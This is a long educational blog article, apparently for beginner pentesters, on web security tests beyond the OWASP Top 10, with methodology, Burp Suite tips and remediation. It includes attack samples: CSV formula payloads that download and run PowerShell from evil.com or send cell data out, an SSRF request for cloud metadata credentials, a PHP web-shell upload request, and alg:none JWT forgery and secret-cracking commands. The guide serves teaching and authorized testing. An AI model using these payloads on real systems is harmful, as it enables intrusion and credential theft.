July 27, 2026
OWASP Top 10 Isnβt Enough: Security Tests Every Pentester Should Perform
A field guide to the vulnerability classes that separate a checklist tester from a professional penetration tester
By Dharrunkrish
23 min read
1. Introduction
If you've spent any time learning application security, you've met the OWASP Top 10. It's the "hello world" of the industry β Injection, Broken Access Control, Cryptographic Failures, and the rest of the usual suspects. Most beginner courses, CTFs, and bug bounty starter guides revolve around it, and for good reason: it's a fantastic map of where things commonly go wrong.
But here's the trap a lot of newcomers fall into: they treat the OWASP Top 10 as a finish line instead of a starting line. They run a scanner, tick off SQLi, XSS, and a few broken access control checks, write a report, and call it a day. π©
Real-world applications rarely fail in such tidy, catalogued ways. The vulnerabilities that cause the most damage β six-figure fraud losses, account takeovers at scale, cloud credential theft β usually live in the gaps between the Top 10 categories. They live in business logic, timing windows, token handling, and the thousand small assumptions developers make about how their own application will be used.
Professional penetration testers know this. When you look at a mature VAPT (Vulnerability Assessment and Penetration Testing) methodology, the OWASP Top 10 is maybe 30% of the actual test plan. The rest is a deeper, more deliberate process β one that requires understanding how the business works, not just how the code works.
This article walks through the tests that experienced pentesters layer on top of the OWASP Top 10, why each one matters, and how to actually go about performing them β with practical examples, Burp Suite tips, and a checklist you can carry into your next engagement.
π‘ Who this is for: beginner-to-intermediate pentesters, security students, bug bounty hunters, and developers who want to understand how their applications get broken in the real world.
2. What OWASP Top 10 Covers
The OWASP Top 10 is a periodically updated list of the most critical web application security risks, based on data contributed by organizations worldwide. It typically covers categories like:
Category What it's about Broken Access Control Users doing things they shouldn't be authorized to do Cryptographic Failures Weak or missing encryption of sensitive data Injection Untrusted input reaching an interpreter (SQL, OS commands, etc.) Insecure Design Missing security controls at the architecture level Security Misconfiguration Default credentials, verbose errors, open cloud buckets Vulnerable Components Outdated libraries with known CVEs Identification & Auth Failures Weak login and session handling Software & Data Integrity Failures Unsigned updates, insecure CI/CD pipelines Logging & Monitoring Failures No visibility into attacks as they happen Server-Side Request Forgery Server tricked into making unintended requests
It's an excellent foundation because it's backed by real incident data and gives newcomers a shared vocabulary. But it's intentionally broad β it's a risk category list, not a test case list. Two testers can both "cover" Broken Access Control and produce wildly different findings depending on how deep they actually dig.
That's where the rest of this article comes in.
3. Security Tests Every Pentester Should Perform Beyond OWASP
3.1 Business Logic Testing
What it is
Business logic testing examines whether an application's workflow β the sequence of steps a user is expected to follow β can be abused, skipped, or reordered to produce an outcome the business never intended. There's no CVE for this. No scanner will find it. It requires a human who understands what the application is supposed to do.
Why it matters
These bugs don't show up as red flags in a WAF or IDS β the requests look completely legitimate. A POST /checkout request with a quantity of -5 is syntactically perfect HTTP. It's only wrong because someone understood the intent behind the field.
Real-world example
A well-known food delivery app once allowed users to apply a percentage-based promo code and then a flat-discount code in the same order, because the two discount code paths weren't aware of each other. Stacking them made some orders effectively free. No injection, no XSS β just two features that didn't talk to each other.
Common attack scenarios
- Coupon abuse: applying a single-use code multiple times, or in ways not intended (e.g. per-cart instead of per-order)
- Negative quantities: requesting
-1of an item to reduce your total instead of increasing it - Multiple discount stacking: combining loyalty points, coupon, and referral bonus when only one should apply
- Payment bypass: manipulating the order in which "payment confirmed" and "order shipped" events fire
- Workflow manipulation: skipping a mandatory step (e.g. OTP verification) by directly calling a later-stage API endpoint
Sample request
POST /api/cart/update HTTP/1.1
Host: shop.example.com
Content-Type: application/json
Authorization: Bearer eyJhbGciOi...
{
"item_id": 4821,
"quantity": -3,
"price": 999
}POST /api/cart/update HTTP/1.1
Host: shop.example.com
Content-Type: application/json
Authorization: Bearer eyJhbGciOi...
{
"item_id": 4821,
"quantity": -3,
"price": 999
}If the backend trusts quantity without a lower bound and simply does total = price * quantity, the customer's account balance may increase instead of decrease.
Manual testing methodology
- Map every business workflow (checkout, refunds, referrals, subscription upgrades/downgrades) before touching a single payload.
- Ask "what is this feature for?" before asking "how can I break it?"
- Try reordering steps: can you call step 4 before step 2?
- Try boundary and negative values on every numeric field.
- Try combining features that were clearly built by different teams (coupons + referrals + loyalty points is a classic).
Burp Suite tips
- Use Proxy > HTTP history to map the full workflow sequence before testing.
- Use Repeater to replay a step out of order.
- Use Match and Replace to systematically flip quantities or prices across a whole session.
Common developer mistakes
- Validating logic only in the frontend JavaScript.
- Trusting client-supplied price/quantity fields instead of recalculating server-side.
- Treating each promotional feature as isolated, with no central discount-validation engine.
Prevention and remediation
- Recalculate all monetary values server-side from source-of-truth data, never trust client input for price.
- Enforce state machines server-side β a step should only be reachable if the required prior step is marked complete in the backend, not just the UI.
- Centralize discount/coupon logic so stacking rules are enforced in one place.
Key takeaway:_ Business logic bugs are found by thinking like a product manager, not a fuzzer. Map the intended flow first β the vulnerabilities appear when you compare that map to what the API actually allows._
3.2 Race Condition Testing
What it is
A race condition occurs when the outcome of a system depends on the timing of concurrent operations, and an attacker exploits the tiny window between a check and an action (Time-Of-Check to Time-Of-Use, or TOCTOU) to make the same resource get used more than once.
Why it matters
Race conditions are often the difference between "someone found a minor edge case" and "someone drained the loyalty points wallet of every user in the company." They're also chronically under-tested because they require sending requests in parallel rather than one at a time β something most manual testing workflows don't naturally do.
Real-world example
Multiple gift-card and fintech platforms have paid out bug bounties for a pattern where redeeming a gift card twice, simultaneously, resulted in the balance being credited twice before the "already redeemed" flag was set. This is the classic double-spending bug.
Common attack scenarios
- TOCTOU on balance checks: two withdrawal requests fired at once, both reading the "sufficient funds" check before either deducts the balance.
- Multiple coupon redemption: firing 20 identical "redeem coupon" requests in the same millisecond so the "already used" flag doesn't get set in time.
- Concurrent account actions: two simultaneous "change email" requests that both pass validation against the old email before either commits.
Sample scenario
POST /api/wallet/redeem HTTP/1.1
Host: fintech.example.com
Content-Type: application/json
Authorization: Bearer eyJhbGciOi...
{"code": "WELCOME50"}POST /api/wallet/redeem HTTP/1.1
Host: fintech.example.com
Content-Type: application/json
Authorization: Bearer eyJhbGciOi...
{"code": "WELCOME50"}Sent 30 times in parallel within the same 50ms window β if the backend checks "has this code been used?" and marks it as used in two separate steps, several of those requests may land in the gap.
Manual testing methodology
- Identify any endpoint that reads a value, makes a decision, then writes a new value (nearly every "redeem," "withdraw," or "vote" action).
- Send the same request many times concurrently, not sequentially.
- Compare the expected single-use outcome against what actually happened (check balances, logs, order counts).
- Vary the concurrency window β some race conditions only appear with very tight timing, others with a wider window.
Burp Suite tips
- Repeater's "Send group in parallel" feature (available in modern Burp Suite versions) sends multiple tabs' requests within the same TCP handshake window, single-packet-attack style β ideal for tight races.
- Turbo Intruder is the gold standard here. Its
engine=Engine.BURP2with a smallconcurrentConnectionsand a tightpipelinesetting lets you fire dozens of identical requests with minimal timing jitter.
# Turbo Intruder skeleton for race condition testing
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
engine=Engine.BURP2)
for i in range(30):
engine.queue(target.req)
engine.complete(timeout=5)
def handleResponse(req, interesting):
table.add(req)# Turbo Intruder skeleton for race condition testing
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
engine=Engine.BURP2)
for i in range(30):
engine.queue(target.req)
engine.complete(timeout=5)
def handleResponse(req, interesting):
table.add(req)Common developer mistakes
- Using "check-then-write" logic without database-level locking or atomic operations.
- Assuming requests will always arrive sequentially because that's how the frontend sends them.
- Applying rate limiting only on repeated sequential requests, not simultaneous ones.
Prevention and remediation
- Use atomic database operations (
UPDATE ... SET balance = balance - X WHERE balance >= X) instead of separate read/write steps. - Apply row-level locking or optimistic concurrency control (version numbers) on sensitive resources.
- Use idempotency keys for financial or state-changing operations.
Warning:_ Race condition testing can cause real financial or data-integrity impact in production systems. Only test this in a scoped environment with explicit written authorization, and prefer staging environments where possible._
3.3 Rate Limiting Testing
What it is
Rate limiting testing checks whether an application restricts how many times an action can be attempted in a given period β logins, OTP submissions, password resets, and API calls.
Why it matters
Missing or weak rate limiting turns a theoretically "secure" 6-digit OTP (1 in a million odds) into a practically guessable one if an attacker can submit a few hundred thousand guesses per minute.
Real-world example
Several major platforms have disclosed bug bounty reports where an OTP endpoint had no rate limit at all, allowing a 6-digit code (only 10,000β1,000,000 combinations) to be brute-forced in minutes, resulting in full account takeover.
Common attack scenarios
- Login brute force: unlimited password attempts against a known username.
- OTP brute force: unlimited guesses against a short numeric code.
- Password reset abuse: repeatedly triggering reset emails/SMS to flood or enumerate users.
- Account enumeration: different error messages or timing for "user exists" vs "user doesn't exist" responses.
- API abuse: hammering a paid or resource-intensive API endpoint with no throttling, leading to cost or denial-of-service impact.
Sample request/response
POST /api/auth/verify-otp HTTP/1.1
Host: app.example.com
Content-Type: application/json
{"user_id": "10432", "otp": "000001"}
HTTP/1.1 400 Bad Request
{"error": "Invalid OTP"}POST /api/auth/verify-otp HTTP/1.1
Host: app.example.com
Content-Type: application/json
{"user_id": "10432", "otp": "000001"}
HTTP/1.1 400 Bad Request
{"error": "Invalid OTP"}If this request can be repeated indefinitely with no lockout, no CAPTCHA, and no delay, an attacker can iterate all 1,000,000 combinations in a matter of hours with modest concurrency.
Manual testing methodology
- Identify every "sensitive attempt" endpoint: login, OTP, password reset, invite codes.
- Send a burst of requests (start with 20β50) and observe: does the app block, delay, CAPTCHA, or silently allow?
- Test whether the limit is applied per-IP, per-account, or per-session β often it's only one of the three, and switching IP/session bypasses it entirely.
- Check whether the lockout is a real block or just a cosmetic frontend delay.
Burp Suite tips
- Intruder with a numeric payload list is the simplest way to test OTP brute force at low volume.
- Combine with the "Resource Pool" setting to control thread count and avoid tripping WAFs prematurely, or intentionally push past them to test resilience.
- Watch response times and status codes closely β a silent 200 with
{"error": "Invalid OTP"}after 10,000 attempts means there's no real limiting in place.
Common developer mistakes
- Rate limiting only the login page, not the underlying login API used by mobile apps.
- Locking accounts only after failed attempts from the same IP, ignoring distributed attempts.
- Confusing "CAPTCHA after 3 tries" (client-enforced) with actual server-side throttling.
Prevention and remediation
- Implement server-side rate limiting per account and per IP, with exponential backoff.
- Use short-lived, single-use OTPs with a maximum attempt count (e.g. lock after 5 tries).
- Return uniform responses and timing for both existing and non-existing users to prevent enumeration.
Key takeaway:_ If you can send the exact same sensitive request 50 times in 10 seconds and nothing pushes back, you've likely found a rate-limiting gap worth reporting._
3.4 JWT Security Testing
What it is
JSON Web Tokens (JWTs) are a common way to represent authentication and authorization state. JWT security testing examines whether tokens are generated, validated, and trusted correctly.
Why it matters
A JWT is essentially a self-contained, base64-encoded claim of "who you are." If the server doesn't validate it properly, an attacker can forge or modify a token to become anyone β including an administrator.
Real-world example
A widely cited class of vulnerability involves the alg: none attack, where a server is written to accept a token regardless of its algorithm field. Stripping the signature and setting "alg": "none" results in a token the server accepts as valid without any cryptographic verification at all.
Common attack scenarios
- Sensitive information disclosure: JWTs are only base64-encoded, not encrypted β decoding the payload can reveal internal user IDs, roles, or even emails.
- Weak secrets: HMAC-signed (
HS256) tokens signed with a guessable secret ("secret","123456") can be brute-forced offline with tools likehashcat. - Expired token acceptance: server ignoring the
expclaim and accepting tokens indefinitely. - Missing signature validation: server decoding the token without ever calling a
verify()function. - Algorithm confusion: switching
RS256toHS256and signing with the server's public key (which is often exposed) as the HMAC secret. - Role manipulation: modifying a
"role": "user"claim to"role": "admin"when signature validation is weak or absent.
Sample request
GET /api/admin/users HTTP/1.1
Host: app.example.com
Authorization: Bearer eyJhbGciOiJub25lIn0.eyJ1c2VyIjoiYWRtaW4ifQ.GET /api/admin/users HTTP/1.1
Host: app.example.com
Authorization: Bearer eyJhbGciOiJub25lIn0.eyJ1c2VyIjoiYWRtaW4ifQ.Decoded header: {"alg":"none"} β the trailing dot indicates an empty signature. Some libraries historically accepted this without complaint.
Manual testing methodology
- Decode the JWT (header + payload) at jwt.io or via CLI and inspect every claim.
- Try changing
algtononeand removing the signature. - Try switching
RS256toHS256and signing with the known public key. - Try brute-forcing the HMAC secret against a wordlist.
- Modify a role/permission claim and re-send without re-signing, to check if validation is actually happening.
- Check whether an expired token is still accepted.
Burp Suite tips
- The JWT Editor extension (via the BApp Store) lets you decode, edit, and re-sign tokens directly inside Burp β including generating new RSA/EC keys for algorithm confusion attacks.
- Use it to auto-detect and test the
alg:noneand key-confusion attacks with one click.
JWT Tool (command line) is purpose-built for this:
python3 jwt_tool.py <token> -M at # scan for common misconfigurations
python3 jwt_tool.py <token> -C -d wordlist.txt # crack HS256 secretpython3 jwt_tool.py <token> -M at # scan for common misconfigurations
python3 jwt_tool.py <token> -C -d wordlist.txt # crack HS256 secretCommon developer mistakes
- Not pinning the expected algorithm server-side (accepting whatever
algthe token claims). - Storing sensitive data in the payload, assuming it's "encrypted" because it looks encoded.
- Using short, guessable HMAC secrets, or reusing the same secret across environments.
- Not checking
exp/nbfclaims on every request.
Prevention and remediation
- Explicitly whitelist the expected signing algorithm server-side; never trust the
algheader from the token itself. - Use strong, random secrets (32+ bytes) for HMAC, or prefer asymmetric signing (RS256/ES256) with properly separated public/private keys.
- Keep tokens short-lived and pair with refresh tokens; validate
expon every request. - Never store PII or secrets in the JWT payload.
Key takeaway:_ A JWT is only as secure as the verification logic on the server. Testing a JWT means testing what happens when you_ break its integrity, not just reading what's inside it.
3.5 CSV Injection (Formula Injection)
What it is
CSV Injection β also called Formula Injection β occurs when user-supplied input is exported into a CSV/Excel file without sanitization, and that input contains a spreadsheet formula that executes when the file is opened.
Why it matters
It's easy to dismiss because "it's just a CSV export," but formulas can trigger DDE (Dynamic Data Exchange) commands, potentially leading to remote code execution on the analyst's or administrator's machine who opens the export in Excel.
Real-world example
Security researchers have repeatedly demonstrated that setting a profile's "name" field to a formula string, then having an admin export the user list to CSV and open it in Excel, can trigger a warning-gated command execution via DDE β effectively client-side RCE delivered through a "harmless" data export feature.
Dangerous payloads
=cmd|'/c calc'!A1
=HYPERLINK("http://evil.com/steal?data="&A1,"Click me")
+cmd|'/c powershell IEX(New-Object Net.WebClient).downloadstring(''http://evil.com/payload.ps1'')'!A1
-2+3+cmd|' /c calc'!A1
@SUM(1+1)*cmd|' /c calc'!A1=cmd|'/c calc'!A1
=HYPERLINK("http://evil.com/steal?data="&A1,"Click me")
+cmd|'/c powershell IEX(New-Object Net.WebClient).downloadstring(''http://evil.com/payload.ps1'')'!A1
-2+3+cmd|' /c calc'!A1
@SUM(1+1)*cmd|' /c calc'!A1Any cell value beginning with =, +, -, or @ may be interpreted as a formula by Excel/LibreOffice/Google Sheets.
Manual testing methodology
- Find any field whose value eventually gets exported to CSV/XLSX (usernames, addresses, support tickets, feedback forms).
- Set the value to a formula payload like
=HYPERLINK(...). - Trigger the export and open the resulting file in a sandboxed environment (never your host machine) to confirm the formula is preserved unescaped.
Burp Suite tips
- Use Repeater to submit the payload to the profile/feedback field, then use the browser to trigger and download the export directly β Burp's role here is mostly payload delivery, not analysis.
Common developer mistakes
- Escaping HTML for XSS prevention but forgetting CSV export is a completely separate output context.
- Assuming CSV is "just text" with no execution risk.
Prevention and remediation
- Prefix any cell value starting with =, +, -, or @ with a single quote (') or a text-qualifying character before writing to CSV.
- Strip or neutralize leading special characters entirely for exported fields.
- Warn users opening exports from untrusted sources, and disable automatic DDE execution in your organization's default Excel security settings.
Key takeaway:_ Anywhere user input becomes a spreadsheet cell is a place worth testing β it's an unglamorous but genuinely dangerous corner of "export" features._
3.6 Server-Side Request Forgery (SSRF) Testing
What it is
SSRF occurs when an attacker can make the server itself send requests to a destination of the attacker's choosing β often to internal systems the attacker couldn't otherwise reach.
Why it matters
Cloud environments make SSRF especially dangerous: cloud metadata endpoints often serve temporary credentials to any process running on that instance, no authentication required. An SSRF into that endpoint can mean full account compromise.
Real-world example
A widely reported breach involving a major U.S. financial institution stemmed from an SSRF vulnerability in a web application firewall configuration that allowed an attacker to reach the cloud metadata service and retrieve temporary IAM credentials, which were then used to access and exfiltrate customer data stored in cloud storage buckets.
Common attack scenarios
- Cloud metadata access: http://169.254.169.254/latest/meta-data/iam/security-credentials/
- Internal service access: reaching admin panels, internal APIs, or databases on
127.0.0.1or private RFC1918 ranges that aren't exposed externally. - Blind SSRF: the response isn't reflected back, but you can confirm the request happened via an out-of-band listener (Burp Collaborator).
Sample request
POST /api/fetch-preview HTTP/1.1
Host: app.example.com
Content-Type: application/json
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}POST /api/fetch-preview HTTP/1.1
Host: app.example.com
Content-Type: application/json
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}URL validation bypass techniques
Bypass technique Example Decimal IP encoding http://2130706433/ (= 127.0.0.1) Octal encoding http://0177.0.0.1/ IPv6 loopback http://[::1]/ DNS rebinding domain resolves to allowed IP at check-time, internal IP at request-time URL parser confusion http://allowed.com@evil.com/ or http://evil.com#allowed.com Redirect chaining allowed URL that 302-redirects to internal target
Manual testing methodology
- Find any feature that fetches a URL server-side: webhooks, "import from URL," link previews, PDF generators, image proxies.
- Test with an out-of-band domain first (Burp Collaborator) to confirm blind SSRF before trying internal targets.
- Try the metadata endpoint (cloud-specific IP) and common internal ports (
6379Redis,9200Elasticsearch,8080internal admin). - If a domain allowlist exists, test the bypass techniques above.
Burp Suite tips
- Burp Collaborator is essential for confirming blind SSRF β insert a Collaborator payload as the URL and check for DNS/HTTP interactions.
- Use the Param Miner extension to help discover hidden "URL fetching" parameters.
Common developer mistakes
- Validating the URL's hostname against an allowlist, but not re-validating after redirects.
- Blocking obvious
localhost/127.0.0.1strings but missing alternate encodings. - Allowing the server to fetch any external URL for "convenience" features like link previews.
Prevention and remediation
- Use an allowlist of specific, known-good destinations rather than a denylist of "bad" ones.
- Disable HTTP redirects when fetching user-supplied URLs, or re-validate the destination after each redirect hop.
- Block requests to link-local, loopback, and private IP ranges at the network layer, not just in application code.
- On cloud platforms, enforce IMDSv2 (session-token-based metadata access) to reduce blind SSRF impact.
Key takeaway:_ Any "fetch this URL for me" feature is a potential SSRF entry point β always test it against your cloud provider's metadata address first._
3.7 HTTP Parameter Pollution (HPP)
What it is
HPP involves sending the same parameter name multiple times in a single request. Different components in the stack (web server, framework, WAF, backend) may each pick a different one of the duplicate values, creating inconsistent behavior an attacker can exploit.
Why it matters
A WAF might inspect the first instance of a parameter while the application server actually processes the last β letting a malicious value slip through the first, "clean" copy.
Common attack scenarios
- Authentication bypass: sending
role=user&role=adminwhere the frontend validation checks the first value but the backend ORM binds the last. - WAF/filter bypass: placing a malicious payload in a duplicate parameter that the filter doesn't inspect.
- Different backend behaviors: PHP tends to take the last value for duplicate GET parameters; ASP.NET tends to concatenate them with a comma; different components disagreeing is exactly where bugs hide.
Example
POST /api/transfer?amount=10&amount=10000 HTTP/1.1
Host: bank.example.comPOST /api/transfer?amount=10&amount=10000 HTTP/1.1
Host: bank.example.comIf the fraud-detection layer checks the first amount=10 (looks safe) but the transfer engine processes the last value, 10000 gets transferred while the safety check saw 10.
Manual testing methodology
- Identify parameters influencing sensitive logic (amount, role, discount, redirect URL).
- Duplicate the parameter with a different value each time (
param=A¶m=B). - Observe which value "wins" in the actual response/behavior.
- Repeat with different HTTP methods and content types β behavior often differs between GET, POST form-encoding, and JSON arrays.
Burp Suite tips
- Use Repeater to manually duplicate a parameter and diff the resulting responses.
- Param Miner can help identify parameters worth targeting for pollution testing.
Common developer mistakes
- Assuming each parameter name will only ever appear once.
- Inconsistent parsing behavior between a security control (WAF, validation middleware) and the actual application logic.
Prevention and remediation
- Explicitly reject requests containing duplicate parameter names for sensitive endpoints.
- Standardize parameter parsing across every layer of the stack (WAF, gateway, application).
- Use structured request bodies (JSON with strict schema validation) instead of loosely-typed form fields where possible.
Key takeaway:_ HPP bugs exist in the gaps between components β test the same request across every layer that touches it, not just the final application response._
3.8 Security Header Verification
What it is
Modern browsers support a set of HTTP response headers that instruct them to enforce additional security restrictions β blocking clickjacking, restricting script sources, forcing HTTPS, and more. Testing for missing or misconfigured headers is a quick but genuinely valuable check.
Why it matters
Headers are "free" defense-in-depth: they don't fix the underlying bug, but they can significantly reduce the impact of an XSS, clickjacking, or MIME-sniffing attack even if one slips through.
Example: weak response
HTTP/1.1 200 OK
Server: nginx
Content-Type: text/htmlHTTP/1.1 200 OK
Server: nginx
Content-Type: text/htmlNo CSP, no HSTS, no frame protection β this response is wide open to clickjacking and offers no defense-in-depth against XSS.
Headers to check
Header Purpose Recommended value (example) Content-Security-Policy Restricts which sources scripts/styles/frames can load from default-src 'self'; script-src 'self' Strict-Transport-Security Forces HTTPS for future requests max-age=63072000; includeSubDomains; preload X-Frame-Options Prevents clickjacking via iframes DENY or SAMEORIGIN X-Content-Type-Options Prevents MIME-sniffing nosniff Referrer-Policy Controls what's sent in the Referer header strict-origin-when-cross-origin Permissions-Policy Restricts access to browser features (camera, mic, geolocation) geolocation=(), camera=(), microphone=()
Manual testing methodology
- Capture a raw response with
curl -Ior Burp's Proxy history. - Compare present headers against the table above.
- For CSP specifically, check whether it actually restricts anything meaningful (
script-src *provides no real protection). - Confirm HSTS is present on every response, not just the login page.
curl -I https://app.example.comcurl -I https://app.example.comBurp Suite tips
- The Burp Scanner flags missing security headers automatically, but always manually verify CSP content β a present-but-useless CSP (
unsafe-inline, wildcard sources) is a common false sense of security.
Common developer mistakes
- Adding HSTS only on the root domain, missing subdomains.
- Writing a CSP so permissive (
'unsafe-inline' 'unsafe-eval' *) that it provides no real restriction. - Applying headers only to HTML responses, forgetting API/JSON endpoints.
Prevention and remediation
- Apply headers consistently across all response types via middleware, not per-route.
- Start CSP in
Content-Security-Policy-Report-Onlymode to tune it before enforcing. - Re-test headers after every major infrastructure or CDN change β misconfigurations often creep back in during migrations.
Key takeaway:_ Headers are a five-minute check with outsized payoff β always include them, but don't let "headers present" substitute for real testing of the underlying application._
3.9 File Upload Security Testing
What it is
File upload testing examines whether an application properly restricts what file types, sizes, and content can be uploaded β and what happens to that file afterward (is it executed, parsed, or served back to other users?).
Why it matters
An insecure file upload is one of the most direct paths to full remote code execution. If an attacker can upload a script and get the server to execute it, the engagement is effectively over.
Real-world example
Countless CMS and web-app compromises trace back to an image upload field that didn't validate file content β only the extension β allowing a .php file disguised with an image content-type to be uploaded and then accessed directly to execute server-side code.
Common bypass techniques
Technique How it works Extension bypass Uploading shell.php.jpg, shell.phtml, shell.php5 when only .php is blocked MIME type bypass Setting Content-Type: image/jpeg in the request while the file content is a script Magic byte bypass Prepending a valid image's magic bytes (e.g. GIF89a) before malicious code, if only magic bytes are checked Double extension invoice.pdf.php β some servers execute based on the last recognized extension SVG upload (stored XSS) SVGs can contain <script> tags, executing JavaScript when viewed inline Polyglot files A single file that is simultaneously valid as, e.g., both a GIF and a PHP script ImageTragick Exploiting ImageMagick's image-processing pipeline via crafted metadata to achieve RCE Large file / ZIP bombs Uploading extremely large or recursively-compressed archives to exhaust disk/CPU (denial of service)
Sample request
POST /upload HTTP/1.1
Host: app.example.com
Content-Type: multipart/form-data; boundary=----X
------X
Content-Disposition: form-data; name="file"; filename="avatar.php.jpg"
Content-Type: image/jpeg
GIF89a<?php system($_GET['cmd']); ?>
------X--POST /upload HTTP/1.1
Host: app.example.com
Content-Type: multipart/form-data; boundary=----X
------X
Content-Disposition: form-data; name="file"; filename="avatar.php.jpg"
Content-Type: image/jpeg
GIF89a<?php system($_GET['cmd']); ?>
------X--Manual testing methodology
- Try uploading a script with the target extension directly β start simple.
- If blocked, try double extensions, null-byte tricks (
shell.php%00.jpgβ legacy but still worth a try), and alternate executable extensions the server might still process (.phtml,.php5,.asp,.aspx,.jsp). - Try manipulating only the
Content-Typeheader while keeping a malicious payload. - Try prepending valid magic bytes before a script payload.
- Upload an SVG containing
<script>alert(document.domain)</script>and check whether it's rendered inline (stored XSS) rather than downloaded. - Test how the server handles a very large file and a small-archive-that-expands-huge ("zip bomb") β observe resource consumption.
Burp Suite tips
- Use Repeater to iterate quickly through extension and content-type variations on the same base request.
- The Upload Scanner extension automates many classic bypass permutations.
Common developer mistakes
- Validating only the file extension, not the actual file content (magic bytes / real MIME sniffing).
- Storing uploaded files in a web-accessible, executable directory.
- Serving user-uploaded SVGs or HTML inline instead of forcing a download (
Content-Disposition: attachment). - Not imposing file size or decompression limits, leaving the server open to resource-exhaustion attacks.
Prevention and remediation
- Validate file content (magic bytes, structure) server-side β never trust the extension or
Content-Typeheader alone. - Store uploads outside the webroot, or in a location with execution explicitly disabled (
.htaccess/nginxconfig denying script execution). - Rename uploaded files to a randomly generated name with a controlled extension.
- Force downloads (
Content-Disposition: attachment) for any user-generated content, and sanitize or disable inline SVG/HTML rendering. - Set explicit file size limits and decompression ratio limits on any archive-processing feature.
β Key takeaway: Never trust the file extension or MIME type β trust only what you validate about the actual file content, and always assume the file will end up somewhere you didn't expect.
4. Professional Pentester Workflow
Professional engagements follow a structured methodology rather than jumping straight into random payloads. A simplified version looks like this:
flowchart TD
A[Reconnaissance] --> B[Authentication Testing]
B --> C[Authorization Testing]
C --> D[Input Validation]
D --> E[Business Logic Testing]
E --> F[Rate Limiting]
F --> G[Race Conditions]
G --> H[JWT / Token Testing]
H --> I[File Upload Testing]
I --> J[API Security Testing]
J --> K[Reporting]flowchart TD
A[Reconnaissance] --> B[Authentication Testing]
B --> C[Authorization Testing]
C --> D[Input Validation]
D --> E[Business Logic Testing]
E --> F[Rate Limiting]
F --> G[Race Conditions]
G --> H[JWT / Token Testing]
H --> I[File Upload Testing]
I --> J[API Security Testing]
J --> K[Reporting]
Each stage feeds the next: recon tells you what surfaces exist, authentication/authorization testing tells you what roles and boundaries exist, and only then does business logic testing make sense β you can't abuse a workflow you haven't mapped yet.
π‘ Tip: Keep a living notes document (Obsidian, Notion, or even a plain markdown file) mapping every endpoint, role, and workflow as you go. Business logic and race condition bugs are found by cross-referencing this map, not by throwing payloads blindly.
5. Tools Used
No single tool covers everything above β professional testers move fluidly between several, each suited to a different job.
Tool Best used for Notes Burp Suite Proxying, manual testing, Repeater/Intruder workflows, extensions The backbone of almost every manual web app test OWASP ZAP Free/open-source alternative to Burp; automated scanning, scripting Great for teams without a Burp Pro license ffuf Fast content/directory/parameter fuzzing Excellent for discovering hidden endpoints and parameters Gobuster Directory and DNS subdomain brute-forcing Simple, fast, good for initial recon Nuclei Template-based vulnerability scanning at scale Great for checking known CVEs and misconfigurations across many hosts Postman Structured API testing and collection management Useful for organizing complex, multi-step API test suites Turbo Intruder High-speed, precisely-timed request bursts The tool of choice for race condition testing JWT Tool Automated JWT vulnerability scanning and cracking Purpose-built for the JWT attacks in section 3.4 curl Quick, scriptable, no-frills HTTP requests Ideal for verifying headers, reproducing findings, and CI-friendly checks
π‘ Tip: Automated scanners (ZAP, Nuclei) are excellent at breadth β quickly covering known CVEs and misconfigurations across many targets. Manual tools (Burp Repeater, Turbo Intruder) are essential for depth β the business logic and timing-based bugs scanners fundamentally cannot find because they require understanding the application's intent.
6. Common Mistakes Beginners Make
- Trusting automated scanners completely β a scanner tells you what it was programmed to look for, not what's actually wrong with this application.
- Ignoring business logic entirely β because it doesn't map to a CVE or a Top 10 category, it's easy to skip, but it's often where the highest-impact findings live.
- Skipping authorization tests between roles β testing that user A can't access user B's data, or that a "viewer" role can't perform "editor" actions, is tedious but critical.
- Testing only visible pages β hidden admin panels, staging subdomains, and undocumented endpoints are often where the weakest controls live.
- Forgetting API endpoints entirely β many testers focus on the web UI and never touch the mobile app's underlying API, which frequently has weaker validation.
- Not checking exported reports/files β CSV/PDF/Excel exports are an easy category to forget, and as section 3.5 shows, they can carry real risk.
7. Pentester's Checklist
A practical checklist to carry into your next assessment, beyond the standard OWASP Top 10 items:
[ ] Map every business workflow before testing (checkout, refunds, referrals, subscriptions)
[ ] Test negative values, boundary values, and reordered steps in every workflow
[ ] Fire concurrent requests on every "redeem/withdraw/vote once" action
[ ] Test rate limiting on login, OTP, password reset, and invite-code endpoints
[ ] Decode and inspect every JWT for sensitive data, weak secrets, and missing validation
[ ] Attempt
alg:noneand algorithm confusion attacks on JWTs
[ ] Test any CSV/Excel export feature for formula injection
[ ] Test every "fetch a URL" feature for SSRF, including cloud metadata endpoints
[ ] Duplicate sensitive parameters to test for HTTP Parameter Pollution
[ ] Verify all six core security headers (CSP, HSTS, X-Frame-Options, X-Content-Type-Options, Referrer-Policy, Permissions-Policy)
[ ] Test file upload extension, MIME type, magic byte, and double-extension bypasses
[ ] Test SVG uploads for stored XSS and confirm inline rendering behavior
[ ] Check authorization boundaries between every role pair, not just admin vs. user
[ ] Enumerate and test the underlying API used by mobile apps, not just the web UI
[ ] Document findings with clear reproduction steps, impact, and remediation guidance
8. Conclusion
The OWASP Top 10 is, and will remain, the right place to start. It's well-researched, widely understood, and catches a huge share of common vulnerabilities. But it was never meant to be a complete testing methodology β it's a risk awareness list, not a test plan.
Professional penetration testing goes further: into business logic that no scanner understands, timing windows that only appear under concurrency, tokens that fail silently when nobody checks the signature, and export features that quietly carry formula-injection risk. These are the bugs that don't show up in an automated report but end up in the headlines.
Manual testing β grounded in genuinely understanding how an application is supposed to work β remains the single most valuable skill a pentester can build. Automated tools will keep getting better at breadth. Understanding intent, workflow, and logic is what gives depth, and depth is where the impactful vulnerabilities live.
If this kind of deep-dive content is useful to you, follow along for more practical, hands-on cybersecurity write-ups β the goal here is always to help you test smarter, not just check more boxes. π
Disclaimer: All techniques described in this article are intended for authorized security testing and educational purposes only. Always ensure you have explicit written permission before testing any application you do not own.